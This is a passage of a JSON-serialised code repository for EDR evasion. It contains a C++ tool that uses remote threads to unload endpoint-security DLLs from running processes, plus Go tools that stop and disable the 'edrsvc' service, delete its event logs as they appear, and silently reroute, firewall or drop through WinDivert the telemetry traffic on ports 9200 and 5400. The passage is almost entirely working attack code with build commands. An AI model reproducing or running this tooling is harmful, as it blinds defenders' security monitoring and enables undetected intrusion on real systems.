(char)tolower((unsigned char)b[i]);\n        if (ca != cb) return false;\n    }\n    return true;\n}\n\nstatic std::string tolower_ascii(std::string s) {\n    for (auto& c : s) c = (char)tolower((unsigned char)c);\n    return s;\n}\n\nstatic bool EnablePrivilege(LPCWSTR name) {\n    HANDLE hToken{};\n    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return false;\n    LUID luid{};\n    if (!LookupPrivilegeValueW(nullptr, name, &luid)) { CloseHandle(hToken); return false; }\n    TOKEN_PRIVILEGES tp{}; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr);\n    bool ok = (GetLastError() == ERROR_SUCCESS);\n    CloseHandle(hToken);\n    return ok;\n}\n\nstatic bool IsFileBackedModule(HANDLE hProc, HMODULE mod) {\n    MEMORY_BASIC_INFORMATION mbi{};\n    if (!VirtualQueryEx(hProc, mod, &mbi, sizeof(mbi))) return false;\n    if (mbi.Type != MEM_IMAGE) return false;\n    char path[MAX_PATH]{};\n    if (GetMappedFileNameA(hProc, mod, path, MAX_PATH) == 0) return false;\n    return true;\n}\n\nstatic HMODULE FindRemoteKernel32(HANDLE hProc) {\n    HMODULE mods[1024]; DWORD cbNeeded=0;\n    if (!EnumProcessModulesEx(hProc, mods, sizeof(mods), &cbNeeded, LIST_MODULES_ALL)) return nullptr;\n    size_t count = cbNeeded / sizeof(HMODULE);\n    for (size_t i=0;i<count;++i) {\n        char name[MAX_PATH]{};\n        if (GetModuleFileNameExA(hProc, mods[i], name, MAX_PATH)) {\n            std::string s = tolower_ascii(name);\n            if (s.size() >= 12 && s.rfind(\"\\\\kernel32.dll\") == s.size()-12) {\n                return mods[i];\n            }\n        }\n    }\n    return nullptr;\n}\n\nstatic LPTHREAD_START_ROUTINE ResolveRemoteFreeLibrary(HANDLE hProc) {\n    // local addresses\n    HMODULE k32Local = GetModuleHandleW(L\"kernel32.dll\");\n    if (!k32Local) return nullptr;\n    FARPROC freeLocal = GetProcAddress(k32Local, \"FreeLibrary\");\n    if (!freeLocal) return nullptr;\n\n    // remote base\n    HMODULE k32Remote = FindRemoteKernel32(hProc);\n    if (!k32Remote) return nullptr;\n\n    // compute RVA in local, add to remote base\n    auto rva = (uintptr_t)freeLocal - (uintptr_t)k32Local;\n    auto remote = (LPTHREAD_START_ROUTINE)((uintptr_t)k32Remote + rva);\n    return remote;\n}\n\nstatic bool ShouldTargetModule(const std::string& pathLower, const std::string& filterLower) {\n    if (!filterLower.empty()) {\n        return pathLower.find(filterLower) != std::string::npos;\n    }\n    for (auto kw : kDefaultKeywords) {\n        if (pathLower.find(kw) != std::string::npos) return true;\n    }\n    return false;\n}\n\nstatic void UnloadMatchesInProcess(DWORD pid, const std::string& filterLower, bool dryRun) {\n    HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION, FALSE, pid);\n    if (!hProc) return;\n\n    HMODULE mods[1024]; DWORD cbNeeded=0;\n    if (!EnumProcessModulesEx(hProc, mods, sizeof(mods), &cbNeeded, LIST_MODULES_ALL)) { CloseHandle(hProc); return; }\n\n    LPTHREAD_START_ROUTINE pRemoteFree = ResolveRemoteFreeLibrary(hProc);\n    if (!pRemoteFree && !dryRun) {\n        std::cout << \"[-] PID \" << pid << \": cannot resolve remote FreeLibrary (bitness/version mismatch?)\\n\";\n        CloseHandle(hProc); return;\n    }\n\n    size_t count = cbNeeded / sizeof(HMODULE);\n    for (size_t i=0;i<count;++i) {\n        char path[MAX_PATH]{};\n        if (!GetModuleFileNameExA(hProc, mods[i], path, MAX_PATH)) continue;\n        std::string lower = tolower_ascii(path);\n\n        if (!IsFileBackedModule(hProc, mods[i])) continue; // skip manual-mapped\n        if (!ShouldTargetModule(lower, filterLower)) continue;\n\n        std::cout << \"[>] PID \" << pid << \": target \" << path << (dryRun? \" (dry-run)\" : \"\") << \"\\n\";\n\n        if (dryRun) continue;\n\n        HANDLE hThread = CreateRemoteThread(hProc, nullptr, 0, pRemoteFree, mods[i], 0, nullptr);\n        if (!hThread) {\n            std::cout << \"    [-] CreateRemoteThread failed: \" << GetLastError() << \"\\n\";\n            continue;\n        }\n        WaitForSingleObject(hThread, 5000);\n        DWORD code = 0; GetExitCodeThread(hThread, &code);\n        std::cout << \"    [+] FreeLibrary returned: \" << code << \"\\n\";\n        CloseHandle(hThread);\n    }\n\n    CloseHandle(hProc);\n}\n\nstatic void Usage() {\n    std::cout << \"\\nEDR DLL Unloader\\n\"\n                 \"  --pid <N>         Unload matching modules in PID N\\n\"\n                 \"  --all             Unload matching modules in all processes\\n\"\n                 \"  --module <substr> Match only modules whose path contains <substr> (case-insensitive)\\n\"\n                 \"  --dry-run         Do not unload; just print intended actions\\n\";\n}\n\nint wmain(int argc, wchar_t* argv[]) {\n    EnablePrivilege(SE_DEBUG_NAME);\n\n    bool all = false; DWORD pid = 0; bool dryRun = false; std::string filterLower;\n\n    for (int i=1;i<argc;++i) {\n        std::wstring arg = argv[i];\n        if (arg == L\"--all\") { all = true; continue; }\n        if (arg == L\"--pid\" && i+1 < argc) {\n            pid = (DWORD)_wtoi(argv[++i]);\n            continue;\n        }\n        if (arg == L\"--module\" && i+1 < argc) {\n            std::wstring w = argv[++i];\n            std::string s(w.begin(), w.end());\n            filterLower = tolower_ascii(s);\n            continue;\n        }\n        if (arg == L\"--dry-run\") { dryRun = true; continue; }\n        if (arg == L\"--help\" || arg == L\"-h\") { Usage(); return 0; }\n    }\n\n    if (!all && pid == 0) { Usage(); return 0; }\n\n    if (all) {\n        HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n        if (snap == INVALID_HANDLE_VALUE) { std::cout << \"[-] snapshot failed\\n\"; return 1; }\n#ifdef UNICODE\n        PROCESSENTRY32W pe{}; pe.dwSize = sizeof(pe);\n        if (Process32FirstW(snap, &pe)) {\n            do { UnloadMatchesInProcess(pe.th32ProcessID, filterLower, dryRun); } while (Process32NextW(snap, &pe));\n        }\n#else\n        PROCESSENTRY32 pe{}; pe.dwSize = sizeof(pe);\n        if (Process32First(snap, &pe)) {\n            do { UnloadMatchesInProcess(pe.th32ProcessID, filterLower, dryRun); } while (Process32Next(snap, &pe));\n        }\n#endif\n        CloseHandle(snap);\n    } else {\n        UnloadMatchesInProcess(pid, filterLower, dryRun);\n    }\n\n    return 0;\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/golang/catwatch.go",
    "content": "package main\n\nimport (\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/Asutorufa/windivert\"\n\t\"github.com/rivo/tview\"\n)\n\nvar (\n\ttargetPorts = map[string]bool{\n\t\t\"9200\": true,\n\t\t\"5400\": true,\n\t}\n\tdriverName = \"WinDivert64.sys\"\n)\n\nfunc main() {\n\tdashboard := flag.Bool(\"dashboard\", false, \"Enable dashboard UI\")\n\tflag.Parse()\n\n\tif *dashboard {\n\t\tlaunchDashboard()\n\t} else {\n\t\tlaunchCLIMenu()\n\t}\n}\n\nfunc launchCLIMenu() {\n\treader := bufio.NewReader(os.Stdin)\n\tfor {\n\t\tfmt.Println(\"\\n=== Watch Suite Manager ===\")\n\t\tfmt.Println(\"Select a module to run:\")\n\t\tfmt.Println(\"1) Route Watch\")\n\t\tfmt.Println(\"2) Drop Watch\")\n\t\tfmt.Println(\"3) File Watch\")\n\t\tfmt.Println(\"4) Service Kill\")\n\t\tfmt.Println(\"5) Wire Watch\")\n\t\tfmt.Println(\"0) Exit\")\n\t\tfmt.Print(\"Enter your choice: \")\n\n\t\tinput, _ := reader.ReadString('\\n')\n\t\tinput = strings.TrimSpace(input)\n\n\t\tswitch input {\n\t\tcase \"1\":\n\t\t\trunRouteWatch()\n\t\tcase \"2\":\n\t\t\trunDropWatch()\n\t\tcase \"3\":\n\t\t\trunFileWatch(reader)\n\t\tcase \"4\":\n\t\t\trunServiceKill(reader)\n\t\tcase \"5\":\n\t\t\trunWireWatch()\n\t\tcase \"0\":\n\t\t\tfmt.Println(\"Exiting.\")\n\t\t\treturn\n\t\tdefault:\n\t\t\tfmt.Println(\"Invalid selection. Try again.\")\n\t\t}\n\t}\n}\n\nfunc launchDashboard() {\n\tapp := tview.NewApplication()\n\tmenu := tview.NewList().\n\t\tAddItem(\"Route Watch\", \"Add route to IPs with 9200/5400 established\", '1', func() {\n\t\t\trunRouteWatch()\n\t\t}).\n\t\tAddItem(\"Drop Watch\", \"Add silent drop firewall rules\", '2', func() {\n\t\t\trunDropWatch()\n\t\t}).\n\t\tAddItem(\"File Watch\", \"Monitor and delete a file\", '3', func() {\n\t\t\trunFileWatch(bufio.NewReader(os.Stdin))\n\t\t}).\n\t\tAddItem(\"Service Kill\", \"Stop and disable a Windows service\", '4', func() {\n\t\t\trunServiceKill(bufio.NewReader(os.Stdin))\n\t\t}).\n\t\tAddItem(\"Wire Watch\", \"Silently drop packets to target IPs\", '5', func() {\n\t\t\trunWireWatch()\n\t\t}).\n\t\tAddItem(\"Exit\", \"Quit the dashboard\", '0', func() {\n\t\t\tapp.Stop()\n\t\t})\n\tmenu.SetBorder(true).SetTitle(\"Watch Suite Dashboard\").SetTitleAlign(tview.AlignLeft)\n\tif err := app.SetRoot(menu, true).EnableMouse(true).Run(); err != nil {\n\t\tpanic(err)\n\t}\n}\n\nfunc runRouteWatch() {\n\tfmt.Println(\"[Route Watch] Running...\")\n\tips := findTargetIPs()\n\tfor _, ip := range ips {\n\t\tcmd := exec.Command(\"route\", \"add\", ip, \"mask\", \"255.255.255.255\", \"192.168.1.1\", \"metric\", \"1\")\n\t\toutput, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"[-] Failed to add route for %s: %v\\n\", ip, err)\n\t\t\tfmt.Println(string(output))\n\t\t} else {\n\t\t\tfmt.Printf(\"[+] Route added for %s\\n\", ip)\n\t\t}\n\t}\n}\n\nfunc runDropWatch() {\n\tfmt.Println(\"[Drop Watch] Running...\")\n\tips := findTargetIPs()\n\tfor _, ip := range ips {\n\t\truleName := fmt.Sprintf(\"DropWatch_%s\", ip)\n\t\tcmd := exec.Command(\"netsh\", \"advfirewall\", \"firewall\", \"add\", \"rule\",\n\t\t\tfmt.Sprintf(\"name=%s\", ruleName),\n\t\t\t\"dir=out\", \"action=block\",\n\t\t\tfmt.Sprintf(\"remoteip=%s\", ip),\n\t\t\t\"profile=any\", \"edge=no\", \"enable=yes\")\n\t\toutput, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"[-] Failed to add drop rule for %s: %v\\n\", ip, err)\n\t\t\tfmt.Println(string(output))\n\t\t} else {\n\t\t\tfmt.Printf(\"[+] Silent drop rule added for %s\\n\", ip)\n\t\t}\n\t}\n}\n\nfunc runFileWatch(reader *bufio.Reader) {\n\tfmt.Println(\"[File Watch] Monitoring file for changes.\")\n\tfmt.Print(\"Enter full path to the file to watch/delete: \")\n\tfilePath, _ := reader.ReadString('\\n')\n\tfilePath = strings.TrimSpace(filePath)\n\n\tdir := filepath.Dir(filePath)\n\ttargetFile := filepath.Base(filePath)\n\n\twatchHandle, err := os.Open(dir)\n\tif err != nil {\n\t\tfmt.Printf(\"[-] Failed to open directory: %v\\n\", err)\n\t\treturn\n\t}\n\tdefer watchHandle.Close()\n\n\tfmt.Printf(\"[*] Watching %s for writes...\\n\", filePath)\n\n\tfor {\n\t\ttime.Sleep(1 * time.Second)\n\t\tif _, err := os.Stat(filePath); err == nil {\n\t\t\tfmt.Printf(\"[!] File touched. Deleting %s\\n\", filePath)\n\t\t\terr := os.Remove(filePath)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"[-] Failed to delete: %v\\n\", err)\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"[+] File deleted successfully.\")\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc runServiceKill(reader *bufio.Reader) {\n\tfmt.Print(\"Enter service name to stop and disable: \")\n\tserviceName, _ := reader.ReadString('\\n')\n\tserviceName = strings.TrimSpace(serviceName)\n\n\tcmd := exec.Command(\"sc\", \"stop\", serviceName)\n\toutput, err := cmd.CombinedOutput()\n\tfmt.Printf(\"[*] sc stop output:\\n%s\\n\", string(output))\n\tif err != nil {\n\t\tfmt.Printf(\"[-] Failed to stop service %s: %v\\n\", serviceName, err)\n\t\treturn\n\t}\n\n\tcmd = exec.Command(\"sc\", \"config\", serviceName, \"start=\", \"disabled\")\n\toutput, err = cmd.CombinedOutput()\n\tfmt.Printf(\"[*] sc config output:\\n%s\\n\", string(output))\n\tif err != nil {\n\t\tfmt.Printf(\"[-] Failed to disable service %s: %v\\n\", serviceName, err)\n\t}\n}\n\nfunc runWireWatch() {\n\tfmt.Println(\"[Wire Watch] Running...\")\n\tips := findTargetIPs()\n\tif len(ips) == 0 {\n\t\tfmt.Println(\"[-] No target IPs found.\")\n\t\treturn\n\t}\n\n\tfilter := \"outbound and (\"\n\tfor i, ip := range ips {\n\t\tif i > 0 {\n\t\t\tfilter += \" or \"\n\t\t}\n\t\tfilter += fmt.Sprintf(\"ip.DstAddr == %s\", ip)\n\t}\n\tfilter += \")\"\n\n\thandle, err := windivert.Open(filter, windivert.LayerNetwork, 0, 0)\n\tif err != nil {\n\t\tfmt.Printf(\"[-] Failed to open WinDivert: %v\\n\", err)\n\t\treturn\n\t}\n\tdefer handle.Close()\n\n\tpacket := make([]byte, 1500)\n\taddr := new(windivert.Address)\n\n\tfmt.Println(\"[*] Dropping outbound packets to target IPs... (Ctrl+C to exit)\")\n\tfor {\n\t\t_, err := handle.Recv(packet, addr)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfmt.Printf(\"[DROP] Packet to %s\\n\", addr.IPv4Destination())\n\t\t// Do not re-inject to drop\n\t}\n\n\t// Optional: Remove driver from disk\n\texeDir, _ := os.Executable()\n\tdrvPath := filepath.Join(filepath.Dir(exeDir), driverName)\n\tos.Remove(drvPath)\n}\n\nfunc findTargetIPs() []string {\n\tcmd := exec.Command(\"netstat\", \"-ano\")\n\toutput, err := cmd.Output()\n\tif err != nil {\n\t\tfmt.Printf(\"[-] Failed to run netstat: %v\\n\", err)\n\t\treturn nil\n\t}\n\n\tscanner := bufio.NewScanner(strings.NewReader(string(output)))\n\tre := regexp.MustCompile(`^\\\\s*TCP\\\\s+\\\\S+:(\\\\d+)\\\\s+([\\\\d\\\\.]+):(\\\\d+)\\\\s+ESTABLISHED\\\\s+\\\\d+`)\n\n\tuniqueIPs := make(map[string]bool)\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tmatches := re.FindStringSubmatch(line)\n\t\tif len(matches) == 4 {\n\t\t\tremoteIP := matches[2]\n\t\t\tport := matches[3]\n\t\t\tif targetPorts[port] {\n\t\t\t\tuniqueIPs[remoteIP] = true\n\t\t\t}\n\t\t}\n\t}\n\n\tips := []string{}\n\tfor ip := range uniqueIPs {\n\t\tips = append(ips, ip)\n\t}\n\treturn ips\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/golang/catwatch.md",
    "content": "go get github.com/Asutorufa/windivert\ngo get github.com/rivo/tview\ngo get github.com/gdamore/tcell/v2\n\n\ngo build -ldflags=\"-s -w\" -o watchsuite.exe\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/golang/disable-service.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"os/exec\"\n)\n\nfunc main() {\n\tserviceName := \"edrsvc\" // Replace this or make it an argument\n\n\terr := stopService(serviceName)\n\tif err != nil {\n\t\tfmt.Printf(\"[-] Failed to stop service %s: %v\\n\", serviceName, err)\n\t} else {\n\t\tfmt.Printf(\"[+] Service %s stopped successfully.\\n\", serviceName)\n\t}\n}\n\nfunc stopService(name string) error {\n\t// sc stop <service>\n\tcmd := exec.Command(\"sc\", \"stop\", name)\n\toutput, err := cmd.CombinedOutput()\n\tfmt.Printf(\"[*] sc stop output:\\n%s\\n\", string(output))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Optional: Disable the service to prevent restart\n\tcmd = exec.Command(\"sc\", \"config\", name, \"start=\", \"disabled\")\n\toutput, err = cmd.CombinedOutput()\n\tfmt.Printf(\"[*] sc config output:\\n%s\\n\", string(output))\n\treturn err\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/golang/file-stomp.go",
    "content": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"time\"\n\t\"unsafe\"\n\n\t\"golang.org/x/sys/windows\"\n)\n\nvar (\n\twatchDir      string\n\ttargetPattern string\n\trecursive     bool\n\tdebugEvents   bool\n)\n\nfunc main() {\n\tflag.StringVar(&watchDir, \"dir\", `C:\\Programdata\\edrsvc\\log\\output_events`, \"Directory to monitor (non-recursive unless -recursive)\")\n\tflag.StringVar(&targetPattern, \"match\", `*.txt`, \"Glob for filenames to delete on change\")\n\tflag.BoolVar(&recursive, \"recursive\", false, \"Monitor subdirectories recursively\")\n\tflag.BoolVar(&debugEvents, \"debug\", true, \"Print all file change events\")\n\tflag.Parse()\n\n\t// Normalize\n\twatchDir = filepath.Clean(watchDir)\n\n\t// Open directory for change notifications\n\th, err := windows.CreateFile(\n\t\twindows.StringToUTF16Ptr(watchDir),\n\t\twindows.FILE_LIST_DIRECTORY,\n\t\twindows.FILE_SHARE_READ|windows.FILE_SHARE_WRITE|windows.FILE_SHARE_DELETE,\n\t\tnil,\n\t\twindows.OPEN_EXISTING,\n\t\twindows.FILE_FLAG_BACKUP_SEMANTICS, // synchronous (no OVERLAPPED)\n\t\t0,\n\t)\n\tif err != nil {\n\t\tfmt.Printf(\"[-] CreateFile(%s) failed: %v\\n\", watchDir, err)\n\t\treturn\n\t}\n\tdefer windows.CloseHandle(h)\n\n\tfmt.Printf(\"[*] Watching: %s\\n\", watchDir)\n\tfmt.Printf(\"[*] Match:    %q (case-insensitive)\\n\", targetPattern)\n\tfmt.Printf(\"[*] Recursive: %v  Debug: %v\\n\", recursive, debugEvents)\n\n\tbuf := make([]byte, 64*1024)\n\n\tconst notifyMask = windows.FILE_NOTIFY_CHANGE_FILE_NAME |\n\t\twindows.FILE_NOTIFY_CHANGE_DIR_NAME |\n\t\twindows.FILE_NOTIFY_CHANGE_ATTRIBUTES |\n\t\twindows.FILE_NOTIFY_CHANGE_SIZE |\n\t\twindows.FILE_NOTIFY_CHANGE_LAST_WRITE |\n\t\twindows.FILE_NOTIFY_CHANGE_CREATION\n\n\tfor {\n\t\tvar bytesReturned uint32\n\t\tif err := windows.ReadDirectoryChanges(\n\t\t\th,\n\t\t\t&buf[0],\n\t\t\tuint32(len(buf)),\n\t\t\trecursive,\n\t\t\tnotifyMask,\n\t\t\t&bytesReturned,\n\t\t\tnil, // synchronous\n\t\t\t0,   // completion routine (uintptr)\n\t\t); err != nil {\n\t\t\tfmt.Printf(\"[-] ReadDirectoryChanges failed: %v\\n\", err)\n\t\t\ttime.Sleep(250 * time.Millisecond)\n\t\t\tcontinue\n\t\t}\n\n\t\toffset := 0\n\t\tfor {\n\t\t\tinfo := (*windows.FileNotifyInformation)(unsafe.Pointer(&buf[offset]))\n\t\t\tnameLen := int(info.FileNameLength / 2)\n\t\t\tnameSlice := unsafe.Slice(&info.FileName, nameLen)\n\t\t\tfilename := windows.UTF16ToString(nameSlice)\n\n\t\t\tfullPath := filepath.Join(watchDir, filename)\n\t\t\tnameLower := strings.ToLower(filepath.Base(filename))\n\t\t\tpatternLower := strings.ToLower(targetPattern)\n\t\t\tmatched, _ := filepath.Match(patternLower, nameLower)\n\n\t\t\tif debugEvents {\n\t\t\t\tfmt.Printf(\"[evt] action=%d  file=%s  matched=%v\\n\", info.Action, fullPath, matched)\n\t\t\t}\n\n\t\t\t// Many tools: create temp -> write -> rename old -> rename new.\n\t\t\t// We delete on any of these if the name matches the glob.\n\t\t\tif matched {\n\t\t\t\tswitch info.Action {\n\t\t\t\tcase windows.FILE_ACTION_ADDED,\n\t\t\t\t\twindows.FILE_ACTION_MODIFIED,\n\t\t\t\t\twindows.FILE_ACTION_RENAMED_NEW_NAME,\n\t\t\t\t\twindows.FILE_ACTION_RENAMED_OLD_NAME,\n\t\t\t\t\twindows.FILE_ACTION_REMOVED:\n\t\t\t\t\t// tiny delay in case writer holds a handle\n\t\t\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\t\t\tif err := os.Remove(fullPath); err != nil {\n\t\t\t\t\t\t// If it was REMOVED already, this may just fail with not found.\n\t\t\t\t\t\tif debugEvents {\n\t\t\t\t\t\t\tfmt.Printf(\"[-] Delete failed for %s: %v\\n\", fullPath, err)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Printf(\"[+] Deleted %s (action=%d)\\n\", fullPath, info.Action)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif info.NextEntryOffset == 0 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\toffset += int(info.NextEntryOffset)\n\t\t\tif offset >= int(bytesReturned) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/golang/firewall-rule.go",
    "content": "package main\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"os/exec\"\n\t\"regexp\"\n\t\"strings\"\n)\n\nfunc main() {\n\ttargetPorts := map[string]bool{\n\t\t\"9200\": true,\n\t\t\"5400\": true,\n\t}\n\n\tdroppedIPs := make(map[string]bool)\n\n\t// Run netstat to get current TCP connections\n\tcmd := exec.Command(\"netstat\", \"-ano\")\n\toutput, err := cmd.Output()\n\tif err != nil {\n\t\tfmt.Println(\"[-] Error running netstat:\", err)\n\t\treturn\n\t}\n\n\tscanner := bufio.NewScanner(strings.NewReader(string(output)))\n\n\t// Regex to match lines like:\n\t// TCP    192.168.1.100:50497   192.168.1.200:9200   ESTABLISHED     1234\n\tre := regexp.MustCompile(`^\\s*TCP\\s+\\S+:(\\d+)\\s+(\\[?[\\da-fA-F\\.:%]+\\]?):(9200|5400)\\s+\\S+\\s+\\d+$`)\n\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tmatches := re.FindStringSubmatch(line)\n\t\tif len(matches) == 4 {\n\t\t\tremoteIP := matches[2]\n\t\t\tport := matches[3]\n\n\t\t\tif targetPorts[port] && !droppedIPs[remoteIP] {\n\t\t\t\tfmt.Printf(\"[+] Dropping outbound connection to %s (port %s)\\n\", remoteIP, port)\n\t\t\t\tdroppedIPs[remoteIP] = true\n\t\t\t\taddDropRule(remoteIP)\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc addDropRule(ip string) {\n\truleName := fmt.Sprintf(\"DropWatch_%s\", ip)\n\n\t// Silent DROP: no RST/ICMP, traffic is discarded quietly\n\tcmd := exec.Command(\"netsh\", \"advfirewall\", \"firewall\", \"add\", \"rule\",\n\t\tfmt.Sprintf(\"name=%s\", ruleName),\n\t\t\"dir=out\", \"action=block\",\n\t\tfmt.Sprintf(\"remoteip=%s\", ip),\n\t\t\"profile=any\", \"edge=no\", \"enable=yes\")\n\n\toutput, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\tfmt.Printf(\"[-] Failed to add drop rule for %s: %v\\n\", ip, err)\n\t\tfmt.Println(string(output))\n\t} else {\n\t\tfmt.Printf(\"[+] Silent drop rule added for %s\\n\", ip)\n\t}\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/golang/go.mod",
    "content": "module file-stomp.go\n\ngo 1.24.2\n\nrequire golang.org/x/sys v0.35.0 // indirect\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/golang/go.sum",
    "content": "golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI=\ngolang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/golang/re-route.go",
    "content": "package main\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"os/exec\"\n\t\"regexp\"\n\t\"strings\"\n)\n\n// Replace this with your actual gateway/interface if needed\nconst (\n\tdefaultGateway = \"127.0.0.1\"\n\tmetric         = \"1\"\n)\n\nfunc main() {\n\ttargetPorts := map[string]bool{\n\t\t\"9200\": true,\n\t\t\"5400\": true,\n\t}\n\n\testablishedIPs := make(map[string]bool)\n\n\t// Run netstat -ano\n\tcmd := exec.Command(\"netstat\", \"-ano\")\n\toutput, err := cmd.Output()\n\tif err != nil {\n\t\tfmt.Println(\"Error running netstat:\", err)\n\t\treturn\n\t}\n\n\tscanner := bufio.NewScanner(strings.NewReader(string(output)))\n\n\t// Sample line to match:\n\t//   TCP    192.168.1.100:50497   192.168.1.200:9200   ESTABLISHED     1234\n\tre := regexp.MustCompile(`^\\s*TCP\\s+\\S+:(\\d+)\\s+(\\[?[\\da-fA-F\\.:%]+\\]?):(9200|5400)\\s+\\S+\\s+\\d+$`)\n\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tmatches := re.FindStringSubmatch(line)\n\t\tif len(matches) == 4 {\n\t\t\tremoteIP := matches[2]\n\t\t\tport := matches[3]\n\n\t\t\tif targetPorts[port] {\n\t\t\t\tif !establishedIPs[remoteIP] {\n\t\t\t\t\tfmt.Printf(\"[+] Found ESTABLISHED connection to %s on port %s\\n\", remoteIP, port)\n\t\t\t\t\testablishedIPs[remoteIP] = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Add route for each IP\n\tfor ip := range establishedIPs {\n\t\taddRoute(ip)\n\t}\n}\n\nfunc addRoute(ip string) {\n\tcmd := exec.Command(\"route\", \"add\", ip, \"mask\", \"255.255.255.255\", defaultGateway, \"metric\", metric)\n\n\tfmt.Printf(\"[*] Adding route for %s...\\n\", ip)\n\n\toutput, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\tfmt.Printf(\"[!] Failed to add route for %s: %v\\n\", ip, err)\n\t\tfmt.Println(string(output))\n\t\treturn\n\t}\n\n\tfmt.Printf(\"[+] Route added for %s\\n\", ip)\n}\n\n//notes: add a service that also listens via http on these same ports and responds with 200 OK no matter what is receeived.\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/golang/snuff-traffic.go",
    "content": "package main\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/Asutorufa/windivert\"\n)\n\nvar (\n\ttargetPorts = map[string]bool{\n\t\t\"9200\": true,\n\t\t\"5400\": true,\n\t}\n\tdriverName = \"WinDivert64.sys\" // or WinDivert32.sys depending on system\n)\n\nfunc main() {\n\tips := findTargetIPs()\n\tif len(ips) == 0 {\n\t\tfmt.Println(\"[-] No active connections to target ports found.\")\n\t\treturn\n\t}\n\n\tfmt.Printf(\"[*] Target IPs: %v\\n\", ips)\n\n\terr := startPacketDrop(ips)\n\tif err != nil {\n\t\tfmt.Printf(\"[-] Error starting packet drop: %v\\n\", err)\n\t}\n\n\terr = selfRemoveDriver()\n\tif err != nil {\n\t\tfmt.Printf(\"[-] Failed to remove driver: %v\\n\", err)\n\t} else {\n\t\tfmt.Println(\"[+] Driver removed from disk.\")\n\t}\n}\n\nfunc findTargetIPs() []string {\n\tcmd := exec.Command(\"netstat\", \"-ano\")\n\toutput, err := cmd.Output()\n\tif err != nil {\n\t\tfmt.Printf(\"[-] Failed to run netstat: %v\\n\", err)\n\t\treturn nil\n\t}\n\n\tscanner := bufio.NewScanner(strings.NewReader(string(output)))\n\tre := regexp.MustCompile(`^\\s*TCP\\s+\\S+:(\\d+)\\s+([\\d\\.]+):(\\d+)\\s+ESTABLISHED\\s+\\d+`)\n\n\tuniqueIPs := make(map[string]bool)\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tmatches := re.FindStringSubmatch(line)\n\t\tif len(matches) == 4 {\n\t\t\tremoteIP := matches[2]\n\t\t\tport := matches[3]\n\t\t\tif targetPorts[port] {\n\t\t\t\tuniqueIPs[remoteIP] = true\n\t\t\t}\n\t\t}\n\t}\n\n\tips := []string{}\n\tfor ip := range uniqueIPs {\n\t\tips = append(ips, ip)\n\t}\n\treturn ips\n}\n\nfunc startPacketDrop(ipList []string) error {\n\tfilter := \"outbound and (\"\n\tfor i, ip := range ipList {\n\t\tif i > 0 {\n\t\t\tfilter += \" or \"\n\t\t}\n\t\tfilter += fmt.Sprintf(\"ip.DstAddr == %s\", ip)\n\t}\n\tfilter += \")\"\n\n\tfmt.Printf(\"[*] Applying filter: %s\\n\", filter)\n\n\thandle, err := windivert.Open(filter, windivert.LayerNetwork, 0, 0)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to open WinDivert handle: %w\", err)\n\t}\n\tdefer handle.Close()\n\n\tpacket := make([]byte, 1500)\n\taddr := new(windivert.Address)\n\n\tfmt.Println(\"[*] Packet dropper running. Press Ctrl+C to exit.\")\n\tfor {\n\t\t_, err := handle.Recv(packet, addr)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfmt.Printf(\"[DROP] 